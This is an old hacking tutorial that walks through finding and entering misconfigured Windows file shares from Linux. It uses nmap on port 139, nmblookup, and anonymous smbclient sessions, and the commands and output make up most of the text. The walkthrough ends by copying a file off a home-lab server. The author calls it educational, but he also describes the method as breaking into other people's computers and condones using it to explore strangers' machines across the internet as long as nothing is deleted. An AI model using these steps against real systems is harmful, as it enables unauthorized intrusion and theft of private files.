Hacking Windows shares from Linux with Samba
A little while ago I did an article on breaking into Windows shares using an automated madirish.bat. If you're not familiar with that article, feel free to read up on Madirish.net (articles Madirish Tutorial 09 and Tutorial 10 in the 'Tech' section). In that article I showed how to use native windows diagnostic commands to browse around not only your local network, but also remote networks, to find open shares and access the resources in those shares. In this short piece I'll show you how to do the same thing from a Linux environment. The lynchpin to this operation is Samba, the Linux tool that allows Linux machines to play in Windows networks. If you don't have Samba installed, your going to need it (the client tools only, the server isn't necessary). If you don't know how to install Samba head over to www.Samba.org. If you still can't figure out how to install samba on your own computer you really don't have any business breaking into other people's computers :)
The first step in exploring remote shares is to find computers that are offering open shares. For this purpose I use NMAP. We'll start by scanning for computers offering an open port 139. If the port is filtered then we may have trouble, but if its open we should be good to begin exploring. Ports 137 and 139 are used by Windows for Netbios shares.
I'm going to begin by poking around my LAN (192.168.0.1-255). These are all reserved addresses in my home network so don't bother trying to use the exact IP's I use. There are three computers on the environment I'm playing in and one is deliberately set up with an insecure share. The network looks like this (although I'm sort of cheating here by already knowing what my target will look like, but this is for educational purposes ;):
192.169.0.1 Windows 2000 Pro - Primary Domain Ctrl. 192.168.0.2 Mandrake 8.1 Laptop (Me) 192.168.0.5 Windows ME (My Girlfriend's Computer)
Ok, so lets start by nmapping the whole shebang and looking for open port 139's.
[root@laptop /]# nmap -sS -O 192.168.0.1-6 -p 139 Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ ) Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on (192.168.0.1): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Me or Windows 2000 RC1 through final release, Windows Millenium Edition v4.90.3000 The 1 scanned port on laptop.madirish.net (192.168.0.2) is: closed Interesting ports on (192.168.0.5): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Me or Windows 2000 RC1 through final release, Windows Millenium Edition v4.90.3000 Nmap run completed -- 6 IP addresses (3 hosts up) scanned in 53 seconds
Ok, so now I've got my two potential targets, 192.168.0.1 and 192.168.0.5 both have the correct port. The next stage is to find out what these machine's Netbios names are. Without this information we won't be able to request any share information from these computers (because Microsoft tries to make everything easy, even networking, and identifies computers on a network not by their IP address but by their 'name'). Ok, the syntax for requesting name information is 'nmblookup -A 111.111.111.111' with the appropriate IP address instead of the ones. The '-A' flag denotes a remote computer (a lot like the windows command 'nbtstat -A 111.111.111.111' although that identifies existing connections). Ok, so lets see what we can see, we'll start with the ME machine at 192.168.0.5:
[root@laptop /]# nmblookup -A 192.168.0.5 Looking up status of 192.168.0.5 GIRLFRIEND <00> - B <ACTIVE> WORKGROUP <00> - <GROUP> B <ACTIVE> GIRLFRIEND <03> - B <ACTIVE> GIRLFRIEND <20> - B <ACTIVE> WORKGROUP <1e> - <GROUP> B <ACTIVE> MADIRISH GIRL <03> - B <ACTIVE>
(Note that I've replaced some information since this is online and all). Ok, so now we've got the computer name, 'GIRLFRIEND'. We're going to need this to investigate shares. To do this we'll use the diagnostic program smbclient:
[root@laptop /]# smbclient -L\\GIRLFRIEND -I 192.168.0.5 added interface ip=192.168.0.2 bcast=192.168.0.31 nmask=255.255.255.224 Password: Sharename Type Comment --------- ---- ------- C Disk PRINTER$ Disk HP Printer HP DeskJet 820Cxi IPC$ IPC Remote Inter Process Communication Server Comment --------- ------- MADIRISH-DT GIRLFRIEND MADIRISH GIRL Workgroup Master --------- ------- WORKGROUP MADIRISH-DT
I entered 'none' for the password and it turned out that I could retrieve this list without a password. Use the '-N' flag on the smbclient command to suppress the password prompt. The interesting thing to note here is that there is all sorts of information about the PDC (Primary Domain Controller) MADIRISH-DT. This is the 'Browse Master' that holds all the Netbios names for the network. So the entire C drive is shared on this computer. We'll try to connect to the shared C drive (although I know its password protected). Notice my attempt will fail when I enter a bad password:
[root@laptop /]# smbclient //GIRLFRIEND/c -I 192.168.0.5 added interface ip=192.168.0.2 bcast=192.168.0.31 nmask=255.255.255.224 Password: tree connect failed: ERRSRV - ERRbadpw (Bad password - name/password pair in a Tree Connect or Session Setup are invalid.)
Since I know I'm not going to get any further on this computer, I'm going to switch my probes to MADIRISH-DT at 192.168.0.1. I'm going to repeat my command set to find out all the information I need:
[root@laptop \]$ nmblookup -A 192.168.0.1
Looking up status of 192.168.0.1
MADIRISH-DT <00> - B <ACTIVE>
MADIRISH-DT <20> - B <ACTIVE>
WORKGROUP <00> - <GROUP> B <ACTIVE>
WORKGROUP <1e> - <GROUP> B <ACTIVE>
MADIRISH-DT <03> - B <ACTIVE>
MADIRISH-DT <6a> - B <ACTIVE>
WORKGROUP <1d> - B <ACTIVE>
MADIRISH-DT <87> - B <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
ADMINISTRATOR <03> - B <ACTIVE>
You'll notice that the entry labeled <03> is the user logged into the computer. I'll continue with (note the second flag is an upper case i, not a lower case L):
[root@laptop /]$ smbclient -L \\madirish-dt -I 192.168.0.1 -N
added interface ip=192.168.0.2 bcast=192.168.0.31 nmask=255.255.255.224
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
share Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
Server Comment
--------- -------
MADIRISH-DT
GIRLFRIEND MADIRISH GIRL
Workgroup Master
--------- -------
WORKGROUP MADIRISH-DT
Ok, lets see if we can't connect to the 'share' disk share. We use the same 'smbclient' command to do this, but with other arguments. What we're going to do is actually request a connection to the share. If this completes successfully our prompt will instantly change to:
smb>
At that point you can type '?' to get a list of commands, but smbclient functions a lot like ftp so all those commands will be viable. Lets go ahead and see what happens when we request access to this share:
[root@laptop /]# smbclient //madirish-dt/share -I 192.168.0.1 -N added interface ip=192.168.0.2 bcast=192.168.0.31 nmask=255.255.255.224 Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: \> dir . DA 0 Sat Mar 16 10:51:45 2002 .. DA 0 Sat Mar 16 10:51:45 2002 NewDoc.txt A 0 Sat Mar 16 10:48:32 2002 screenshot.jpg A 145878 Sat Mar 16 10:51:48 2002 51834 blocks of size 131072. 16437 blocks available smb: \>
And you'll notice I'm in :). At this point you could use 'put' or 'get' to push or pull files to and from the share. For instance, to grab NewDoc.txt (although its size is showing as '0' so I know its empty), I use:
[root@laptop /]# smbclient //madirish-dt/share -I 192.168.0.1 -N added interface ip=192.168.0.2 bcast=192.168.0.31 nmask=255.255.255.224 Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: \> get NewDoc.txt getting file NewDoc.txt of size 0 as NewDoc.txt (0.0 kb/s) (average 0.0 kb/s) smb: \> exit [root@laptop /]# ls -l NewDoc.txt -rw-r--r-- 1 root root 0 Mar 17 09:28 NewDoc.txt
And its just that easy, I've swiped NewDoc.txt off of the MADIRISH-DT server.
At this point you're probably wondering why I pick on Windows shares so often. The answer is that these targets abound. As high speed connections proliferate, more and more windows clients are coming on the internet. Very few people understand how to properly set up shares, and Windows doesn't really prompt users about improper configurations. Although Windows XP uses a more advanced architecture (its NT based at the core), it is even more difficult to set up a proper share on XP. Its far easier to set up a share and open it to everyone than actually customize the share with proper permissions. The fact that this article demonstrates how easy it is to intrude upon a poorly protected Windows share should serve as a warning.
Remember, I'm writing this article for educational purposes only. It is more than possible to use the information herein for legitimate purposes. Please remember, if you're going to use this information to go exploring across the internet, don't delete or destroy anything. People get concerned when they shut down their home computers and they get a 'Warning: 1 user is still connected', but when they find their tax information has been destroyed they call the cops.